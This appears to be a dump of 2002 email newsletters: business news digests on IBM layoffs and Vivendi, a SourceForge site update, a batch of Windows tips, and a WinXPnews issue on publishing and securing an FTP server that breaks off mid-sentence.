Linux to jab at Microsoft (Seattle Times) http://makeashorterlink.com/?A25B52181 Microsoft and Free Software at the Same Show? It's True http://www.nytimes.com/2002/08/10/technology/10LINU.html Linux begins its descent into the enterprise http://www.internetnews.com/ent-news/article.php/1443811 Other Stories Ex-CEO Pleads Not Guilty to ImClone Fraud http://www.washingtonpost.com/wp-dyn/articles/A10407-2002Aug12.html Security flaw found in Microsoft Web browser (Reuters) http://www.philly.com/mld/philly/business/technology/3851394.htm Fed seen leaving rates unchanged http://www.msnbc.com/news/793177.asp Some Sad No-Signs of the Times http://www.businessweek.com/bwdaily/dnflash/aug2002/nf20020813_0067.htm Publisher dodges bankruptcy bullet http://www.chicagotribune.com/business/chi-020812ziff.story Gates Foundation Walks Fine Line As It Increases Its Cable Holdings http://online.wsj.com/article/0,,SB1029180416481589035,00.html (Paid subscription required.) PGP defect reveals encrypted messages http://news.com.com/2100-1001-949368.html Bell Labs simplifies single sign-on http://www.theregister.co.uk/content/55/26624.html Bigger Bar Code Inches Up on Retailers http://www.nytimes.com/2002/08/12/technology/12CODE.html Damn the Constitution: Europe must take back the Web http://www.theregister.co.uk/content/6/26612.html Japanese Drop Out of New ID System (Newsday, AP) http://makeashorterlink.com/?T69B22181 Sponsor Do you want to reach the Net's savviest audience? Advertise in Media Unspun. Contact Erik Vanderkolk for details at erikvanderkolk@yahoo.com today. Staff Written by Deborah Asbrand (dasbrand@world.std.com), Keith Dawson (dawson@world.std.com), Jen Muehlbauer (jen@englishmajor.com), and Lori Patel (loripatel@hotmail.com). Copyedited by Jim Duffy (jimduffy86@yahoo.com). Marketing: Cowpoke Productions (cowpokeproductions.com). Advertising: Erik Vanderkolk (erikvanderkolk@yahoo.com). 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On the day of the deadline for companies to certify their financial statements with the SEC, the business press squirmed and waited for the next Enron or WorldCom. (We might eat these words tomorrow, but we doubt it.) In an unrelated confession, IBM gave the commission its latest layoff numbers. IBM talked about pink slips during its second-quarter earnings report, but with a vagueness worthy of your daily horoscope. (""Capricorn: Career changes may be on their way..."") Only after ""months of surreptitious layoff notices"" did the company admit that it's cutting more than 15,600 jobs, said the AP. That's about 5% of its workforce, and a lot more than pundits expected. An IBM spokesperson told the Wall Street Journal the higher number was due to ""rebalancing"" and more employees than expected taking voluntary layoffs. Sorry, we're still back on ""rebalancing."" Did IBM ""rightsize"" last quarter, too? IBM's news was still trickling out Wednesday morning, but some details were available. About 1,400 workers got cut from IBM's microelectronics unit, and most of the rest were from IT services and consulting. (That ought to make IBM's new employees from PricewaterhouseCoopers feel all warm and fuzzy inside.) Look for news updates from cities that will see the cuts, such as Austin and Raleigh. OK, none of this is good. Two years into the tech slump, we're still tired of seeing people get sacked. But was it really so bad that IBM only revealed it because of new accounting regulations? Nah, Big Blue was always known for ""stealth layoffs,"" as CNN put it, but current corporate scrutiny forced it to 'fess up for once. Until now, IBM would acknowledge the latest layoffs if reporters called and asked, but wouldn't give specifics. Yeesh. - Jen Muehlbauer IBM Cut 5% of Staff in Period, Double the Expected Number http://online.wsj.com/article/0,,SB1029282408667791835,00.html (Paid subscription required.) IBM to Cut Over 15,000 Employees (AP) http://tinyurl.com/10kz IBM confirms 15,600 job cuts (Reuters) http://www.msnbc.com/news/793777.asp IBM cutting 15,000 jobs http://news.com.com/2100-1001-949677.html IBM job cuts exceed 15,600 http://money.cnn.com/2002/08/13/technology/ibm/index.htm IBM puts job cuts at 15,600, with fewer than 50 in this state http://seattlepi.nwsource.com/business/82508_ibm14.shtml ----------------------------------------------------------------- ADVERTISEMENT ----------------------------------------------------------------- You've heard about identity management, but do you know about the opportunities and business models that will emerge as a result? Download a free executive summary of Esther Dyson's coverage of identity management in Release 1.0. Learn more about the expanding market for these services and applications. http://release1.edventure.com/executivesummary.cfm?MCode=Unspun ----------------------------------------------------------------- SYNERGY AND BETRAYAL AT VIVENDI ----------------------------------------------------------------- Synergy always was a fuzzy concept. Now Vivendi Universal's top man has slammed the lid on it. The French company announced today that it's ready to peddle $9.8 billion in assets to rustle up some cash. First up on the block? Synergy-less U.S. book publisher Houghton Mifflin. It's unclear whether new chairman Jean-Rene Fourtou has genuine turnaround muscle, or whether he and Vivendi's board are simply following the winds of post-merger fashion. But when you owe $18.7 billion, you get real practical, real fast. The Guardian reported that Vivendi's share price sank 5% on Tuesday when investors got the willies about the company's impending announcement on its financial health. But the company had positive news to report: It's making money. Revenue in the first half was up 13%, higher than analysts' estimates of a 7.7% boost. Details are scant on the breadth of Fourtou's restructuring efforts, with more information expected at the next board meeting on September 25, according to reporters. Houghton Mifflin, acquired a year ago for $1.7 billion, and a vague explanation that included the ""Curious George"" character, were the only properties named for sale so far. The Guardian speculated that Vivendi will also sell its U.S. video games business and possibly its stake in the French mobile phone company SFR, a debatable sale because of the cash it generates, according to the newspaper. Meanwhile, Fourtou's predecessor, Jean-Marie Messier, continues to advocate empire-building. The New York Post said its sources say Messier hopes his former employer will feel generous enough to let him continue to reside in his $17 million Manhattan abode. And Bloomberg reported earlier this week that an unrepentant Messier is penning a memoir as he vacations in the Mediterranean. The working title? ""How I Was Betrayed."" - Deborah Asbrand Vivendi to Sell Publisher Houghton Mifflin (Reuters) http://www.washingtonpost.com/wp-dyn/articles/A15954-2002Aug14.html Vivendi investors expect the worst http://www.guardian.co.uk/business/story/0,3604,774190,00.html Vivendi to Sell $9.8 Billion In Assets, Including Houghton http://online.wsj.com/article/0,,SB102931297119161715,00.html (Paid subscription required.) Ousted Messier Aims To Score $17m Vivendi Pad http://www.nypost.com/business/54701.htm Ex-Chief of Vivendi Plans Tell-All Book (Bloomberg) http://www.nytimes.com/2002/08/12/business/media/12VIVE.html ----------------------------------------------------------------- OTHER STORIES ----------------------------------------------------------------- A Top AOL Manager Has Left Company http://www.nytimes.com/2002/08/14/technology/14AOL.html Fed Holds Steady on Interest Rates http://www.washingtonpost.com/wp-dyn/articles/A14636-2002Aug13.html Amtrak halts all high-speed service after finding cracks http://www.sunspot.net/bal-te.train14aug14.story AOL lets resigning exec keep stock options http://www.usatoday.com/money/industries/technology/2002-08-13-aol-pittman_x.htm Lucent licensing deal with Winstar focus of probe (AP) http://www.bayarea.com/mld/mercurynews/business/3861117.htm Study Says Net Could Benefit Music Firms http://www.latimes.com/business/la-fi-music14aug14.story Eisner Crimping His Own Style http://www.latimes.com/business/la-fi-disney14aug14.story Severance claims by Enron former execs anger ex-workers http://www.chron.com/cs/CDA/story.hts/business/1533657 Princeton removes dean after Yale Web site flap (AP) http://www.siliconvalley.com/mld/siliconvalley/3857890.htm Frisbee golf creator dies, may land on someone's roof (SF Chronicle) http://seattlepi.nwsource.com/national/82560_frisbee14.shtml Will Kinsley's Slate Get Wiped? http://www.ojr.org/ojr/kramer/1029281360.php Hollywood, Russian Bicker Over Bass http://www.cnn.com/2002/SHOWBIZ/News/08/13/bassspace.hollywood.ap/ ----------------------------------------------------------------- Do you want to reach the Net's savviest audience? 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SEC Exposes Big Blue's Pink Slips Synergy and Betrayal at Vivendi Other Stories Media Unspun serves business news and analysis, authoritatively and irreverently, every business day. An annual subscription costs $50, less than a dollar a week. If your four-week free trial is coming to an end soon, please visit http://www.mediaunspun.com/subscribe.html and sign up via credit card or check. Sponsor Ken Fisher offers his Quarterly Report for high net worth investors FREE of cost & without obligation. Access the same investment research he uses to guide his clients at: http://pcg.fisherinvestments.com/newrespond/letter.asp?site=UNSP&KC=1229EFCAD0000 SEC Exposes Big Blue's Pink Slips Does the Securities and Exchange Commission have a press pass yet? It seems to be bringing us all our news lately. On the day of the deadline for companies to certify their financial statements with the SEC, the business press squirmed and waited for the next Enron or WorldCom. (We might eat these words tomorrow, but we doubt it.) In an unrelated confession, IBM gave the commission its latest layoff numbers. IBM talked about pink slips during its second-quarter earnings report, but with a vagueness worthy of your daily horoscope. (""Capricorn: Career changes may be on their way..."") Only after ""months of surreptitious layoff notices"" did the company admit that it's cutting more than 15,600 jobs, said the AP. That's about 5% of its workforce, and a lot more than pundits expected. An IBM spokesperson told the Wall Street Journal the higher number was due to ""rebalancing"" and more employees than expected taking voluntary layoffs. Sorry, we're still back on ""rebalancing."" Did IBM ""rightsize"" last quarter, too? IBM's news was still trickling out Wednesday morning, but some details were available. About 1,400 workers got cut from IBM's microelectronics unit, and most of the rest were from IT services and consulting. (That ought to make IBM's new employees from PricewaterhouseCoopers feel all warm and fuzzy inside.) Look for news updates from cities that will see the cuts, such as Austin and Raleigh. OK, none of this is good. Two years into the tech slump, we're still tired of seeing people get sacked. But was it really so bad that IBM only revealed it because of new accounting regulations? Nah, Big Blue was always known for ""stealth layoffs,"" as CNN put it, but current corporate scrutiny forced it to 'fess up for once. Until now, IBM would acknowledge the latest layoffs if reporters called and asked, but wouldn't give specifics. Yeesh. - Jen Muehlbauer IBM Cut 5% of Staff in Period, Double the Expected Number http://online.wsj.com/article/0,,SB1029282408667791835,00.html (Paid subscription required.) IBM to Cut Over 15,000 Employees (AP) http://tinyurl.com/10kz IBM confirms 15,600 job cuts (Reuters) http://www.msnbc.com/news/793777.asp IBM cutting 15,000 jobs http://news.com.com/2100-1001-949677.html IBM job cuts exceed 15,600 http://money.cnn.com/2002/08/13/technology/ibm/index.htm IBM puts job cuts at 15,600, with fewer than 50 in this state http://seattlepi.nwsource.com/business/82508_ibm14.shtml Sponsor You've heard about identity management, but do you know about the opportunities and business models that will emerge as a result? Download a free executive summary of Esther Dyson's coverage of identity management in Release 1.0. Learn more about the expanding market for these services and applications. Synergy and Betrayal at Vivendi Synergy always was a fuzzy concept. Now Vivendi Universal's top man has slammed the lid on it. The French company announced today that it's ready to peddle $9.8 billion in assets to rustle up some cash. First up on the block? Synergy-less U.S. book publisher Houghton Mifflin. It's unclear whether new chairman Jean-Rene Fourtou has genuine turnaround muscle, or whether he and Vivendi's board are simply following the winds of post-merger fashion. But when you owe $18.7 billion, you get real practical, real fast. The Guardian reported that Vivendi's share price sank 5% on Tuesday when investors got the willies about the company's impending announcement on its financial health. But the company had positive news to report: It's making money. Revenue in the first half was up 13%, higher than analysts' estimates of a 7.7% boost. Details are scant on the breadth of Fourtou's restructuring efforts, with more information expected at the next board meeting on September 25, according to reporters. Houghton Mifflin, acquired a year ago for $1.7 billion, and a vague explanation that included the ""Curious George"" character, were the only properties named for sale so far. The Guardian speculated that Vivendi will also sell its U.S. video games business and possibly its stake in the French mobile phone company SFR, a debatable sale because of the cash it generates, according to the newspaper. Meanwhile, Fourtou's predecessor, Jean-Marie Messier, continues to advocate empire-building. The New York Post said its sources say Messier hopes his former employer will feel generous enough to let him continue to reside in his $17 million Manhattan abode. And Bloomberg reported earlier this week that an unrepentant Messier is penning a memoir as he vacations in the Mediterranean. The working title? ""How I Was Betrayed."" - Deborah Asbrand Vivendi to Sell Publisher Houghton Mifflin (Reuters) http://www.washingtonpost.com/wp-dyn/articles/A15954-2002Aug14.html Vivendi investors expect the worst http://www.guardian.co.uk/business/story/0,3604,774190,00.html Vivendi to Sell $9.8 Billion In Assets, Including Houghton http://online.wsj.com/article/0,,SB102931297119161715,00.html (Paid subscription required.) Ousted Messier Aims To Score $17m Vivendi Pad http://www.nypost.com/business/54701.htm Ex-Chief of Vivendi Plans Tell-All Book (Bloomberg) http://www.nytimes.com/2002/08/12/business/media/12VIVE.html Other Stories A Top AOL Manager Has Left Company http://www.nytimes.com/2002/08/14/technology/14AOL.html Fed Holds Steady on Interest Rates http://www.washingtonpost.com/wp-dyn/articles/A14636-2002Aug13.html Amtrak halts all high-speed service after finding cracks http://www.sunspot.net/bal-te.train14aug14.story AOL lets resigning exec keep stock options http://www.usatoday.com/money/industries/technology/2002-08-13-aol-pittman_x.htm Lucent licensing deal with Winstar focus of probe (AP) http://www.bayarea.com/mld/mercurynews/business/3861117.htm Study Says Net Could Benefit Music Firms http://www.latimes.com/business/la-fi-music14aug14.story Eisner Crimping His Own Style http://www.latimes.com/business/la-fi-disney14aug14.story Severance claims by Enron former execs anger ex-workers http://www.chron.com/cs/CDA/story.hts/business/1533657 Princeton removes dean after Yale Web site flap (AP) http://www.siliconvalley.com/mld/siliconvalley/3857890.htm Frisbee golf creator dies, may land on someone's roof (SF Chronicle) http://seattlepi.nwsource.com/national/82560_frisbee14.shtml Will Kinsley's Slate Get Wiped? http://www.ojr.org/ojr/kramer/1029281360.php Hollywood, Russian Bicker Over Bass http://www.cnn.com/2002/SHOWBIZ/News/08/13/bassspace.hollywood.ap/ Sponsor Do you want to reach the Net's savviest audience? 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As you likely know, any large dynamic website is powered by a database that funnels data to the web servers serving data which ultimately gets sent to you. These databases manage everything from user authentication, session management, site searching, etc. SourceForge.net is a database- dependent website. Today we have announced that we are moving SourceForge.net to DB2, a powerful relational database by IBM. We are doing this because the site continues to grow at a rapid rate, with 700 new users and 70 new projects a day, and we need a database that can handle this growth. We feel that DB2 can do this for us, and IBM is giving us the resources to make this transition successful. You can read the press release here: http://www.vasoftware.com/news/press.php/2002/1070.html How will this effect you? In the first phase, you won't see much difference other then the site will continue to grow and the SourceForge.net team will be able to handle the growth. In later phases you will see new features on the site that take advantage of the databases advanced capabilities. Today our mail archives have been converted over. The rest of the site will make the migration to DB2 in the coming months. If you have questions about this or any other aspect of the site, please feel free to email me, pat@sourceforge.net. I always appreciate the feedback. Thank you for your continued support of SourceForge.net and the Open Source Community. Pat- Patrick McGovern Director, SourceForge.net 1. INCREASED DOWNLOAD CAPACITY SourceForge.net continues to grow, and it's appetite for bandwidth is never-ending. Every day SF.NET serves over 300,000 files to ensure that developers and end-users within the Open Source community can always obtain the software released by hosted projects, SourceForge.net maintains a network of high-capacity download servers. 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Listen to the Linux kernel master discuss such hot topics as kernel modules, virtual memory, block I/O, database scaling, security modules, and async I/O. You may find this audio repository at: http://linuxkernel.foundries.sourceforge.net/article.pl?sid=02/06/26/0116225 3. CONTRIBUTE TO SOURCEFORGE.NET! BE A FOUNDRY GUIDE! Want to contribute to SourceForge.net, but you don't know how to code? Be a foundry guide! Foundry guides get to hype the cool projects that they think are worth downloading and testing. A guide finds all the stuff on the web about their subject of choice, and gives it prominent placement. How do you become a foundry guide? Go to http://foundries.sourceforge.net/; find a topic that interests you; and send email to foundries@sourceforge.net stating your desired topic and why you are qualified to be a foundry guide. 4. WORK FOR SOURCEFORGE.NET We have a new position for a senior web developer available at SourceForge.net. We are looking for someone to help us maintain, upgrade, and add new features to SourceForge.net. Ideal person has 5+ years of development experience on high end, high volume websites (3+ million page views a day). Has a vast level of knowledge of Internet technologies: PHP, PostgreSQL, MySQL, DB2, Linux, PERL, Apache, LDAP, Mailman. A flare for design / UI is a bonus. SourceForge is a unique site with unique challenges. We are looking for someone at the top of their game. Location of Job is in Fremont, California. Please send resume and URL's of sites you have worked on to jobs@sourceforge.net. Text resumes only. (No MS WORD files!) 5. SITE STATISTICS Stats: (Monday 12th, 2000) Hosted Projects: 45,194 Registered Users: 465,530 Page Views: 3,344,708 in a single day (Monday) Files transfered in a single day: 340,838 (Monday) Emails sent in a single day from Mailing lists: 851,143 (Monday) Top Ten Projects 1 phpMyAdmin http://sourceforge.net/projects/phpmyadmin/ phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the WWW. Currently it can create and drop databases, create/drop/alter tables, delete/edit/add fields, execute any SQL statement, manage keys on fields. 2 Compiere ERP + CRM Business Solution http://sourceforge.net/projects/compiere/ Smart ERP+CRM solution for small-medium enterprises (SME) in the global marketplace covering all areas from customer management, supply chain and accounting. For $2-200M revenue companies looking for ""brick and click"" first tier functionality. 3 SquirrelMail http://sourceforge.net/projects/squirrelmail/ SquirrelMail is a PHP4-based Web email client. It includes built-in pure PHP support for IMAP and SMTP, and renders all pages in pure HTML 4.0 for maximum compatibility across browsers. It also has MIME support, folder manipulation, etc 4 TUTOS http://sourceforge.net/projects/tutos/ TUTOS is the ultimate team organization software, a web-based groupware or ERP/CRM system to manage events/calendars, addresses, teams, projects,tasks,bugs,mailboxes,documents and your time spent with these things 5 JBoss.org http://sourceforge.net/projects/jboss/ The JBoss/Server is the leading Open Source, standards-compliant, J2EE based application server implemented in 100% Pure Java 6 Firewall Builder http://sourceforge.net/projects/fwbuilder/ Object-oriented GUI and set of compilers for various firewall platforms. Currently implemented compilers for iptables, ipfilter and OpenBSD pf 7 openMosix http://sourceforge.net/projects/openmosix/ openMosix is a Linux kernel extension for single-system image clustering. Taking n PC boxes, openMosix gives users and applications the illusion of one single computer with n CPUs. openMosix is perfectly scalable and adaptive. 8 CDex http://sourceforge.net/projects/cdexos/ CDex a CD-Ripper, thus extracting digital audio data from an Audio CD. The application supports many Audio encoders, like MPEG (MP2,MP3), VQF, AAC encoders. 9 phpChrystal - An Open Intranet System http://sourceforge.net/projects/phpchrystal/ phpChrystal ist ein OpenSource-Intranetsystem welches vorrangig auf Lan-Partys eingesetzt werden kann. Vorteile von phpChrystal sind seine Portierbarkeit, Flexibilitt und Performance, da es vollends auf PHP, MySQL und XML basiert 10 Dev-C++ http://sourceforge.net/projects/dev-cpp/ Dev-C++ is an full-featured Integrated Development Environment (IDE) for Win32 and Linux. It uses GCC, Mingw or Cygwin as compiler and libraries set. More Top Projects: http://sourceforge.net/top/mostactive.php?type=week EMAIL LIST REMOVAL: When the SF.NET team sends out a site-wide email, we sometimes see replies that look like this: ""Hey!! I didn't subscribe to this list!!! You spammer. I hate you! I hate your dog! (insert other colorful phrases here)"". The truth is, when you registered on SourceForge.net there was a check box that said ""Receive Site-wide updates, low volume"". You left it checked when you submitted the registration form, hence you are receiving this email. We send these updates every 4 to 6 weeks, so it truly is low volume. However if you want off, this is not a problem. Simply click on the link below. ================================================================== You receive this message because you subscribed to SourceForge site mailing(s). You may opt out from some of them selectively by logging in to SourceForge and visiting your Account Maintenance page (http://sourceforge.net/account/), or disable them altogether by visiting following link:",0,1 NNT@silver.lyris.net,xxxxxxxxxxxxxxxxx-neatnettricks@example.com,"Wed, 14 Aug 2002 16:20:00 -0700","Neat Net Tricks Standard Issue 131 - August 15, 2002","IN THIS ISSUE: 01. Secure IE 02. Disk cleanup on XP 03. Thanks but no thanks 04. Mouseless way home 05. Kartoo 06. XP time feature 07. Leaf Peeper Alert 08. Saving scraps 09. Quick access 10. Don't believe your email And What's Coming Up Next Week in NNT Premium 01. SECURE IE. For the past month or so, our Software Review Panel has been giving a grueling test to Secure IE, a piece of software that blocks Flash and pop-ups, prevents malicious file downloads, lets you customize Security Zone settings as you browse dozens of Web sites simultaneously up to five times faster with a tabbed interface, annotate Web page with sticky notes and highlighter, and save complete Web pages, even secure server (HTTPS) pages and archive online transaction receipts. For what we believe is one of the most thorough reviews ever conducted on a single piece of software, check out what our Panel had to say at http://www.NeatNetTricks.com/SoftwareReviews . For a free trial download, visit http://www.secureie.com . And if this one sweeps you off your feet, go to the NNT Store at http://www.NeatNetTricks.com/store and get a super deal, just $17.50 if you order before September 14. With a 30-day guarantee, what's to lose? 02. DISK CLEANUP ON XP. Windows XP users can do some fast cleaning chores with Disk Cleanup. Access this tool from the Start menu by right clicking on your hard drive. Then select Properties and click on the Disk Cleanup button to determine how many files can be safely deleted. 03. THANKS BUT NO THANKS. Continuing our periodic feature of less-than-useful sites on the Web: The International Center for Bathroom Etiquette at http://www.icbe.org/ gets our recognition this issue. It says it's working hard to bring you the latest in cutting edge research and technology regarding bathroom etiquette. We'll resist some obvious puns. . . . . . West Virginia's Diane Stratton recommended NNT to some friends and is now enjoying QuicKeys 2.0, a great Windows management software package. Diane is our latest winner and you could be next. Just go to the NNT Web site at http://www.NeatNetTricks.com and click on ""Recommend NNT."" Nothing could be easier. . . . . . 04. MOUSELESS WAY HOME. To go home quickly in Internet Explorer, touch F6 to highlight the Address Bar and type two periods (..) there. The Enter key then takes you home. 05. KARTOO. Search engines are everywhere on the Internet but Kartoo at http://www.kartoo.net is quite unusual. It's a meta search engine that displays results on a map in the form of a ball. The larger the ball, the more relevant the result. As you mouseover each result, site descriptions are revealed. If all that sounds confusing, the explanation is more complicated than the service itself. Just try it. . . . . . You should make it a habit to visit the NNT Store at http://www.NeatNetTricks.com/store . We try to have several great products there at a limited-time price much less than anywhere else on the Net. Currently, you'll find excellent ebooks, a very effective popup stopper, and the very useful utility described in item 01 above, along with the usual opportunity to subscribe to NNT Premium and ArchivesExpress. Check us out, you'll be glad you did. . . . . . 06. XP TIME FEATURE. Windows XP added a nice feature that heretofore required a separate software application. It will connect, either at a programmed time or manually, to a time server via the Internet and reset that often erroneous internal clock. Just click on the time in the systems tray, go to Date and Time Properties and click the Internet Time tab. 07. LEAF PEEPER ALERT. A bit early, but soon the changing colors of autumn will begin here in the U.S. For those who like to follow the display, consider http://www.stormfax.com/foliage.htm for a comprehensive collection of links and toll-free numbers to each state to determine peak color times. 08. SAVINGS SCRAPS. Some oldies are worth repeating. If you're working with text in, for example, MS Word or WordPad, and would like a handy way to save a portion for later easy retrieval, just select (highlight) it and click/drag it to your desktop. When the newly created icon is clicked on, it will show the application with which the scrap was created, along with the first few words of the text. A double click opens the text in the application with which it was created. 09. QUICK ACCESS. To go to a frequently used program, you may find yourself drilling down to the desktop and searching out the shortcut icon. Consider instead setting up a key combination that will provide quick access without using the shortcut. Right click on the shortcut and select Properties. In the Shortcut key window, select any key you can remember and click OK. Ctrl+Alt and that key will open the application whenever needed. 10. DON'T BELIEVE YOUR EMAIL. We've been asked about those emails with virus attachments that appear to be coming from NNT, asking for a confirmation of a subscription. Don't believe it, and don't open the attachments. Maybe this exchange between NNT and Lyris (our mail manager) will clear things up: NNT: Is there anything that can be done about the current strains of virus that implant on address books and randomly send email asking alleged subscribers to verify their subscription (when they haven't subscribed at all)? I've received some of these as well, and I know it's become a widespread problem with other ezine publishers, creating a lot of ill will all around. Is there some configuration that we could change to keep these from going out except to legitimate subscribers? Lyris: Unfortunately, there isn't much we can do about this since it isn't actually ListManager doing the sending. The real problem is that people sometimes will add the ""join"" address to their address book and that is what causes the problems. The best we can do is advise people not to have their address books set to automatically add any email address that they send a message to even once. The main culprit here seems to be Outlook Express. WHAT'S COMING NEXT WEEK: Another batch of Neat Net Tricks in the Premium issue, including: * A great collection of information and free downloads to make your system more secure. * Free software to measure and display your real-time Internet speed. * Can you handle still another popup stopper - that's interference free - and at no cost? * An easy-to-use tool to store and arrange all your passwords, user IDs, and other info. * A Microsoft Word tip to easily work around that pesky autocompletion feature. * A whole arsenal of tools to combat spam. * Software that provides more than 200 interesting facts about your computer and displays about your CPU, memory, operating system, and your computer's power source. * Our in-depth article discusses how to best manage our important passwords and get out of trouble when we -inevitably - forget those passwords. And more! If you haven't subscribed yet, you won't find a better source of useful information for just 42 cents per issue. That's $10 for a year's worth - 24 issues - at the NNT Store, http://www.NeatNetTricks.com/store . . . . . . . NNT makes no endorsement or warranty, expressed or implied, with regard to featured products or services. Results may vary based on operating systems and other variables beyond our control. For info on how to subscribe, unsubscribe, or change your address, send a blank email to info-neatnettricks@silver.lyris.net . Sponsor an entire issue of NNT with your exclusive message to our readers at very low rates. Send a blank email to advertise-neatnettricks@silver.lyris.net . Comments or questions about your computer and the Internet? Visit the NNT Bulletin Board at http://www.escribe.com/computing/neatnettricks/bb/ . NNT is hosted by Lyris.com, the best in email list management. Copyright 2002 by Jack Teems. All rights reserved. Neat Net Tricks is registered with the U.S. Library of Congress ISSN: 1533-4619. --- You are currently subscribed to neatnettricks as: xxxxxxxxxxxxxxxxx-neatnettricks@example.com To unsubscribe send a blank email to leave-neatnettricks-2424157K@silver.lyris.net",0,1 """WinXPnews""",cncnvc@fsg.com,"Fri, 19 Jul 2002 01:10:07 -0600",WinXPnews: Time To Patch Your Windows Media Player,"![](http://www.winxpnews.com/graphics/winxpnews_logo_200.jpg) **WinXPnews ™ E-Zine** Tue, Jul 9, 2002 (Vol. 2, 27 - Issue 33) --- **Feel free to forward this newsletter to other WinXP enthusiasts.** **Read this newsletter online here: http://www.winxpnews.com/?id=33 For a quick unsubscribe (gasp!) click here: http://www.winxpnews.com/unsubscribe.cfm?email=cncnvc@fsg.com** ![](http://www.winxpnews.com/tr/tr.cfm?mid=9665862091709486&xid=33) **Time To Patch Your Windows Media Player** ![](http://www.winxpnews.com/graphics/winxpnews_logo_50.jpg) This issue of WinXPnews™ contains: 1. EDITOR'S CORNER * How to Publish Your Windows XP FTP Server to the Internet 2. HINTS, TIPS, TRICKS & TWEAKS * Allow Dial-up Connections to Synchronize Time with Internet Time Servers 3. HOW TO'S: ALL THE NEW XP FEATURES * How to Secure an FTP Server on Windows XP Professional 4. WINXP SECURITY: UPDATES & PATCHES * Cumulative Patch for Windows Media Player * Cumulative Patches for Excel and Word for Windows 5. UPGRADING & COMPATIBILITY ISSUES * A Computer May Hang During a Heavy Load with an Ericsson HIS Modem * Knowledge Base Search Center - If it is Not Broke, Do Not Break it! 6. WINXP CONFIGURING & TROUBLESHOOTING * A Description of the Repair Option on a Local Area Network or High-Speed Internet Connection * Keyboard and Mouse Do Not Work When You Start Windows * How to Deploy Windows XP Images from Windows 2000 RIS Servers 7. FAVE LINKS * This Week's Links We Like. Tips, Hints And Fun Stuff 8. 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This is a real no-brainer. **Get Your Copy Now!** **VisitiHateSpam - Eliminate Irritating Junk Email for more information.** ![](http://www.winxpnews.com/graphics/winxpnews_logo_50.jpg) EDITOR'S CORNER **How to Publish Your Windows XP FTP Server to the Internet** Several of you wrote in about last week's article on installing an FTP Server. You said ""that was great, but you only told half the story"". You wanted to know two more things: 1. How to make the FTP Server available to Internet users 2. How to secure the FTP Server There are several ways to make an FTP server on the internal network available to users on the Internet. These methods are referred to as ""Server Publishing"". You can use a Windows XP computer running Internet Connection Services (ICS) to publish a server on your internal network. Let's take a look at a common scenario. You have a Windows XP computer connected to the Internet with an always-on cable or DSL connection. You have another computer on your private network also running Windows XP. You've installed the FTP Server on this internal network computer and put files into the FTP folder. Now you want Internet users to connect to the FTP Server through the ICS computer directly connected to the Internet. You can do this with the Windows XP ICS! Here's how: 1. Go into the Network Connections window. You can get there from the Network applet in the Control Panel. 2. Right click the network interface directly connected to the Internet and click Properties. 3. Click on the Advanced tab in the connection's Properties dialog box. Put a checkmark in the Internet Connection Firewall checkbox. Always make sure the Internet Connection Firewall (ICF) is enabled when you connect a computer directly to the Internet. 4. Click the Settings button, then click on the Services tab in the Advanced Settings dialog box. 5. Now click the Add button. This brings up the Service Settings dialog box. Type in My FTP Server in the Description of service text box. In the Name or IP address text box, type in the IP address of the computer on your private network that's running the FTP server. Since you're using ICS, it'll have an IP address like 192.168.0.x, where x is different for each machine on your network. You might want to manually assign the IP address the FTP Server already has, so that it doesn't change in the future. You can find out what IP address your FTP server is using by opening a command prompt at the FTP server and typing in the command ipconfig. That will give you the IP address the FTP Server is using. Back to the Service Settings dialog box, select the TCP option button. For the External Port and the Internet port, put in the port number you assigned to the FTP server on your internal network. Read this week's How To section to see how to change the listening port number. Clic! k OK 6. Click OK, and then click OK one more time! You might need to disable and enable the adapter after making the change. You can do that by right clicking the always-on interface. The procedure is very similar for dial-up connections. However, there are problems with dial-up connections (and many always-on connections) because the IP address on the external interface of the ICS computer changes over time. Next week I'll share with you a cool way you can get around this problem by using something called a ""dynamic DNS service"". I've used one for years, and it works great. Make sure to tune in next week for the details. There you have it. Is server publishing in your future? Have any questions on the method I described above? If so, let me know! There are lots of ways you can publish services. Tell me how you do it, and tricks you've learned along the way. If you're having problems with server publishing, let me know about those too! I'll be sure to include what I learn from you in upcoming newsletters. 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Protect your PC and your confidential data! **VisitIs Your PC Spying On You? for more information.** ![](http://www.winxpnews.com/graphics/winxpnews_logo_50.jpg) HINTS, TIPS, TRICKS & TWEAKS **Allow Dial-up Connections to Synchronize Time with Internet Time Servers** Do you use a dial-up connection but can't get your machine to synchronize its clock with an Internet time server when the Internet Connection Firewall (ICF) is enabled? If so, here's a tip Richard Surry sent in on how to fix the problem: 1. Open your Network Connections window from the start menu. 2. Right click on your modem (or other dial-up connection) and click Properties. 3. Click on the Advanced tab. You already have a checkmark in the box that enables the ICF. Click on the Settings button. 4. Click on the Services tab, then click on the Add button in the Services tab. 5. That should open the Service Settings dialog box. In the Description box, put in Internet Time Service. For the Name or IP address of the computer hosting this service on your network, type in 127.0.0.1. Select the TCP protocol option button. For both the external and internal port numbers, type 123. 6. If you're online, disconnect and reconnect. Now synchronize the time by double click on the clock in the system tray and going to the Internet Time tab. This is an interesting tip, and it represents an even more interesting problem. For you network geeks out there, I'll ask you this question: Why should we allow unsolicited inbound connections for the Internet Time Service? The ICF should not block responses to solicited outbound connections, so why should we have to enable reverse NAT to make this work? ![](http://www.winxpnews.com/graphics/winxpnews_logo_50.jpg) HOW TO'S: ALL THE NEW XP FEATURES **How to Secure an FTP Server on Windows XP Professional** Last week we went over how to install the Windows XP FTP Server. It will work fine after going through the steps outlined last week, but several of you asked for more information on how to secure the FTP Server because you wanted to connect it to the Internet. It's a very good idea to understand how FTP security works before putting the server on the Internet. Here are some suggestions: 1. Open the Internet Information Services console from the Administrative Tools menu. In the left pane of the console, expand your server name and then expand the FTP Sites node. 2. Right click on the Default FTP Site and click the Properties command. 3. Click on the FTP Site tab. Notice that the default TCP Port is set to 21. This is the well-known port for FTP. You can increase security a bit by changing this port to another value that's in the 1026-65534 range. This secures it from poorly motivated click-kiddies and also allows you to get around your ISP blocking incoming connections to TCP port 21. Friends who connect to your FTP server will need to change the port number on their FTP client software as well. 4. The Windows XP FTP server has a hard coded limit of 10 simultaneous connections. You might want to change this to a lower number to reduce the chance of a LAN party on the external interface of the FTP server. 5. Put a checkmark in the Enable Logging checkbox. Click the Properties button to the right of the log format drop-down list box. Click the Daily option button on the General Properties tab. On the Extended Properties tab, select all of the Extended Properties. Click OK. 6. Click on the Security Accounts tab. Place a checkmark in the Allow only anonymous connections checkbox. This prevents users from sending username and password credentials to the FTP server. You don't want users to send credentials because those credentials are sent in ""clear text"", 